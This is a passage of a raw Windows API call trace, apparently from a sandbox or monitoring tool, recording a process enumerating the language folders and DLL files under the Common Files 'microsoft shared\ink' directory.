[0148.449] GetLastError () returned 0x12 [0148.449] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\*", lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x895438 [0148.449] FindNextFileW (in: hFindFile=0x895438, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.451] FindNextFileW (in: hFindFile=0x895438, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.451] GetLastError () returned 0x12 [0148.451] FindNextFileW (in: hFindFile=0x895438, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.452] FindClose (in: hFindFile=0x895438 | out: hFindFile=0x895438) returned 1 [0148.452] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4500070 | out: hHeap=0x23a0000) returned 1 [0148.452] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0148.452] GetLastError () returned 0x12 [0148.452] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\*", lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x895278 [0148.452] FindNextFileW (in: hFindFile=0x895278, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.452] FindNextFileW (in: hFindFile=0x895278, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.452] GetLastError () returned 0x12 [0148.452] FindNextFileW (in: hFindFile=0x895278, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.453] FindClose (in: hFindFile=0x895278 | out: hFindFile=0x895278) returned 1 [0148.543] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4500070 | out: hHeap=0x23a0000) returned 1 [0148.543] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1f30e81, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1f30e81, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x19f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0148.543] GetLastError () returned 0x12 [0148.543] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463d4edd, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xc2004e62, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463d4edd, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x7b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0148.543] GetLastError () returned 0x12 [0148.543] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd51e08b5, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd51e08b5, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x178200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe", cAlternateFileName="")) returned 1 [0148.543] GetLastError () returned 0x12 [0148.543] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a1d507, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xde1acd8d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xde1acd8d, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x612e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mraut.dll", cAlternateFileName="")) returned 1 [0148.543] GetLastError () returned 0x12 [0148.544] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwgst.dll", cAlternateFileName="")) returned 1 [0148.544] GetLastError () returned 0x12 [0148.544] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe3805ad4, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe3805ad4, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x106a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll", cAlternateFileName="")) returned 1 [0148.544] GetLastError () returned 0x12 [0148.544] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076bff5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0148.544] GetLastError () returned 0x12 [0148.544] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\*", lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076bff5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x895378 [0148.544] FindNextFileW (in: hFindFile=0x895378, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076bff5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.544] FindNextFileW (in: hFindFile=0x895378, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e90ce26, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e90ce26, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e90ce26, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.544] GetLastError () returned 0x12 [0148.544] FindNextFileW (in: hFindFile=0x895378, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e90ce26, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e90ce26, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e90ce26, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.544] FindClose (in: hFindFile=0x895378 | out: hFindFile=0x895378) returned 1 [0148.545] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4500070 | out: hHeap=0x23a0000) returned 1 [0148.545] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0148.545] GetLastError () returned 0x12 [0148.596] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\*", lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x895578 [0148.596] FindNextFileW (in: hFindFile=0x895578, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.597] FindNextFileW (in: hFindFile=0x895578, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.597] GetLastError () returned 0x12 [0148.597] FindNextFileW (in: hFindFile=0x895578, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.597] FindClose (in: hFindFile=0x895578 | out: hFindFile=0x895578) returned 1 [0148.597] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x44f0068 | out: hHeap=0x23a0000) returned 1 [0148.597] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0148.598] GetLastError () returned 0x12 [0148.598] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\*", lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x895438 [0148.598] FindNextFileW (in: hFindFile=0x895438, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.598] FindNextFileW (in: hFindFile=0x895438, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.598] GetLastError () returned 0x12 [0148.598] FindNextFileW (in: hFindFile=0x895438, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.598] FindClose (in: hFindFile=0x895438 | out: hFindFile=0x895438) returned 1 [0148.598] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x44f0068 | out: hHeap=0x23a0000) returned 1 [0148.598] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0148.598] GetLastError () returned 0x12 [0148.598] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\*", lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x895278 [0148.598] FindNextFileW (in: hFindFile=0x895278, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.599] FindNextFileW (in: hFindFile=0x895278, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.599] FindNextFileW (in: hFindFile=0x895278, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.599] FindClose (in: hFindFile=0x895278 | out: hFindFile=0x895278) returned 1 [0148.599] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x44f0068 | out: hHeap=0x23a0000) returned 1 [0148.599] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0148.599] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\*", lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x895478 [0148.599] FindNextFileW (in: hFindFile=0x895478, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.599] FindNextFileW (in: hFindFile=0x895478, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.599] FindNextFileW (in: hFindFile=0x895478, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.599] FindClose (in: hFindFile=0x895478 | out: hFindFile=0x895478) returned 1 [0148.599] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x44f0068 | out: hHeap=0x23a0000) returned 1 [0148.599] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0148.599] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\*", lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8952f8 [0148.600] FindNextFileW (in: hFindFile=0x8952f8, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, 